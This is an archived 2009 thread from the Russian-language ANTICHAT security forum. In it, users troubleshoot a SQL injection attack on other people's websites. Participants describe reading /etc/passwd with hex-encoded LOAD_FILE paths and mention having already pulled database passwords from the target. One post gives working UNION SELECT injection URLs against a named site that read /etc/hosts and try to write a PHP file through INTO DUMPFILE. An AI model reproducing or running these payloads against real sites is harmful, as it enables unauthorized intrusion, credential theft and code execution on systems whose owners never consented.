ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
27.10.2009, 22:03
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696
Репутация:
2221
|
|
Сообщение от _gr34t
Ctacok, да я так и делаю, вместо '/etc/passwd' пишу 0x2f6574632f706173737764, там слэши экранируются.
Попробывал записать в /tmp/1_gr_1 - такого точно не должно быть, результат тот же.
А да, ещё когда посылаю запрос
в ответ приходит
Ну если слэшки экранируються то я думаю и ' тоже экранируються, а ошибка эта и будет при любой ошибке 
|
|
|
27.10.2009, 22:25
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293
Репутация:
4915
|
|
Сообщение от _gr34t
Ctacok, да я так и делаю, вместо '/etc/passwd' пишу 0x2f6574632f706173737764, там слэши экранируются.
1 А как ты пишешь в файл, если там что-то экранируется?
2 Прочитай индекс файл, или любой файл с веба. Уверен, что база там-же где сайт?
Сообщение от Rubaka
та сплошь и рядом файлы читаются а не записываються ((
mysql ному юзеру мож было выставлено шо низзя писать файлы
Покажешь хоть один пример?
|
|
|
|
28.10.2009, 04:06
|
|
Участник форума
Регистрация: 26.10.2008
Сообщений: 106
Провел на форуме:
461696
Репутация:
40
|
|
Сообщение от jokester
1 А как ты пишешь в файл, если там что-то экранируется?
2 Прочитай индекс файл, или любой файл с веба. Уверен, что база там-же где сайт?
1. -deleted-
2. Уже читал, пароли к БД вытащил, только с других хостов не пускает (как и положено)
L I G A, Уже пробывал - всё равно не работает 
Ошибку пишет
Warning: mysql_numrows(): supplied argument is not a valid MySQL result resource in /var/www/html/calendar/detailview.php on line 25
Да что за срань такая!
Ведь если файлы читаются, значит для пользователя установлен флаг file_priv=y, значит и писать можно! Всё, по-другому никак. Или я не прав?
А запрос может быть составлен так, чтобы конструкции into outfile и into dumpfile нельзя было использовать?
Последний раз редактировалось _gr34t; 28.10.2009 в 05:29..
|
|
|
|
27.10.2009, 22:00
|
|
Участник форума
Регистрация: 26.10.2008
Сообщений: 106
Провел на форуме:
461696
Репутация:
40
|
|
Rubaka, да ладно, как показывает моя личная практика - если можно прочитать, файл /etc/passwd, то и в /tmp писать тоже можно!
mysql ному юзеру мож было выставлено шо низзя писать файлы
Опять же где было выставлено? В таблице mysql.user или в правах у папки /tmp?
|
|
|
|
27.10.2009, 22:09
|
|
Участник форума
Регистрация: 26.10.2008
Сообщений: 106
Провел на форуме:
461696
Репутация:
40
|
|
Так ошибки не должно быть, в том то и дело. синтаксис верный.
|
|
|
|
27.10.2009, 22:20
|
|
Постоянный
Регистрация: 27.07.2008
Сообщений: 614
Провел на форуме:
4532332
Репутация:
1196
|
|
_gr34t
Код:
http://site.com/calendar.php?event_id=-68199'+union+select+1,2,...,6 7+into...
?
|
|
|
|
27.10.2009, 23:09
|
|
Участник форума
Регистрация: 02.09.2007
Сообщений: 292
Провел на форуме:
3659973
Репутация:
466
|
|
Пример
читаем /etc/hosts
http://www.dimex.ru/cat.php?p=-1&c=13+UNION+SELECT+LOAD_FILE(0x2F6574632F686F7374 73),2
в исходнике смортим он есть
пишем <? phpinfo(); ?>
http://www.dimex.ru/cat.php?p=-1&c=13+UNION+SELECT+0x3C3F20706870696E666F28293B20 3F3E,2+FROM+mysql.user+INTO+DUMPFILE+'/tmp/12345'
читаем
/tmp/12345
http://www.dimex.ru/cat.php?p=-1&c=13+UNION+SELECT+LOAD_FILE(0x2F746D702F31323334 35),2
и ниче (
|
|
|
|
27.10.2009, 23:19
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293
Репутация:
4915
|
|
Rubaka
Там квотесы включены, с чего он запишется-то?
|
|
|
|
27.10.2009, 23:24
|
|
Участник форума
Регистрация: 02.09.2007
Сообщений: 292
Провел на форуме:
3659973
Репутация:
466
|
|
jokester
ну так файл же читается, и не записывается
как я и говорил
|
|
|
|
27.10.2009, 23:31
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293
Репутация:
4915
|
|
Сообщение от Rubaka
прав на запись у юзера твоего нема
Сообщение от Rubaka
та сплошь и рядом файлы читаются а не записываються ((
mysql ному юзеру мож было выставлено шо низзя писать файлы
вот что ты говорил.
Вот и покажи мне пример, где у юзера такие ПРАВА, что читать он может, а писать нет.
Кавычки тут никакого отношения к делу не имеют
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид